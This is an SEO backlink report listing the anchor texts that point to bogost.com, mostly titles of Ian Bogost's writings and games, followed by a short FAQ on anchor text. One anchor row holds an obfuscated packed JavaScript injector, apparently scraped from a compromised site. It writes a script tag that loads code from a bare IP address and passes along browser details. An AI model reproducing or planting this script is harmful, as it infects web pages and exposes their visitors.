Anchors
| Anchor text | Ref. domains ▾ | Top DR | Ref. pages | Links to target | Dofollow links |
|---|---|---|---|---|---|
| Ian Bogost | 19 | — | 0 | 185 | 183 98.9% |
| Dr. Ian Bogost | 2 | — | 0 | 4 | 4 100% |
| Play Anything | 2 | — | 0 | 2 | 2 100% |
| 2 | — | 0 | 4 | 4 100% | |
| Gamification is Bullshit | 2 | — | 0 | 2 | 2 100% |
| Cow Clicker | 2 | — | 0 | 2 | 2 100% |
| http://www.bogost.com/blog/gamification_is_bullshit.shtml | 2 | — | 0 | 2 | 2 100% |
| via | 1 | — | 0 | 1 | 1 100% |
| this | 1 | — | 0 | 1 | 1 100% |
| här | 1 | — | 0 | 1 | 1 100% |
| memorable response | 1 | — | 0 | 2 | 2 100% |
| bogost.com/writing/blog/why-anything-but-games-matters/ | 1 | — | 0 | 1 | 1 100% |
| "Guru Meditation" | 1 | — | 0 | 1 | 1 100% |
| articles about games, in the end, still garner much less traffic and general interest than other cultural phenomena. | 1 | — | 0 | 1 | 1 100% |
| «The New York Times publishes our newsgames» | 1 | — | 0 | 1 | 0 0% |
| created a Television Simulator | 1 | — | 0 | 1 | 1 100% |
| Ian Bogost: ‘Flash Is Not a Right’ | 1 | — | 0 | 1 | 1 100% |
| gamification is bullshit | 1 | — | 0 | 1 | 1 100% |
| Platform Studies | 1 | — | 0 | 1 | 1 100% |
| Bogost, Ian (2007): Persuasive Games. The Expressive Power of Videogames. Cambridge, MA: MIT Press | 1 | — | 0 | 1 | 0 0% |
| Ian | 1 | — | 0 | 1 | 0 0% |
| provocative Aug. 8th, 2011 blogpost | 1 | — | 0 | 1 | 1 100% |
| «Ian Bogost - About me» | 1 | — | 0 | 1 | 0 0% |
| book | 1 | — | 0 | 1 | 1 100% |
| IanBogost | 1 | — | 0 | 1 | 1 100% |
| $500 a piece | 1 | — | 0 | 1 | 1 100% |
| gamification | 1 | — | 0 | 10 | 10 100% |
| CRT Emulation for the Atari VCS | 1 | — | 0 | 1 | 1 100% |
| I’m pretty sure that gamification involves immense amounts of bullshit. | 1 | — | 0 | 2 | 2 100% |
| Long Live the King | 1 | — | 0 | 1 | 1 100% |
| Newsgames: Journalism at Play | 1 | — | 0 | 1 | 1 100% |
| «A Slow Year» | 1 | — | 0 | 1 | 0 0% |
| http://bogost.com/writing/the_proceduralist_style/ | 1 | — | 0 | 1 | 1 100% |
| books | 1 | — | 0 | 1 | 1 100% |
| Ian Bogost explains how this is different than the current & dominant way of thinking: | 1 | — | 0 | 1 | 1 100% |
| Procedural Literacy: Problem Solving with Programming, Systems, & Play | 1 | — | 0 | 1 | 0 0% |
| «Gamification is Bullshit» | 1 | — | 0 | 1 | 0 0% |
| academic mumblespeak | 1 | — | 0 | 1 | 1 100% |
| COW CLICKER | 1 | — | 0 | 1 | 1 100% |
| Ian Bogost – Write-Only Publication | 1 | — | 0 | 1 | 1 100% |
| Ian Bogost's glossary | 1 | — | 0 | 1 | 1 100% |
| http://bogost.com/writing/blog/cow_clicker_1/ | 1 | — | 0 | 1 | 1 100% |
| Atari | 1 | — | 0 | 1 | 1 100% |
| άρθρο του | 1 | — | 0 | 1 | 1 100% |
| A Slow Year | 1 | — | 0 | 1 | 1 100% |
| Bogost, I. (2011), 'What do video games do to art?' | 1 | — | 0 | 1 | 1 100% |
| Fortunate People Say No | 1 | — | 0 | 1 | 1 100% |
| "Write-Only Publication" | 1 | — | 0 | 1 | 0 0% |
| Ian eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent| | 1 | — | 0 | 1 | 1 100% |
| MOOCS in to marketing | 1 | — | 0 | 1 | 1 100% |
Frequently Asked Questions
What anchor texts are used to link to bogost.com?
This page shows all anchor texts found in backlinks pointing to bogost.com, sorted by the number of referring domains using each anchor. Anchor texts range from branded terms (like the domain name itself) to keyword-rich phrases that describe the linked content. The distribution of anchor texts reveals how other websites perceive and describe bogost.com.
What is anchor text?
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Why is anchor text analysis important for SEO?
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How many unique anchor texts does bogost.com have?
The anchor text report for bogost.com displays all distinct anchor texts grouped by their hash. Each row shows how many unique referring domains use that anchor, the total number of links, and the dofollow percentage. A high number of unique anchors generally indicates a healthy, natural backlink profile with diverse link sources.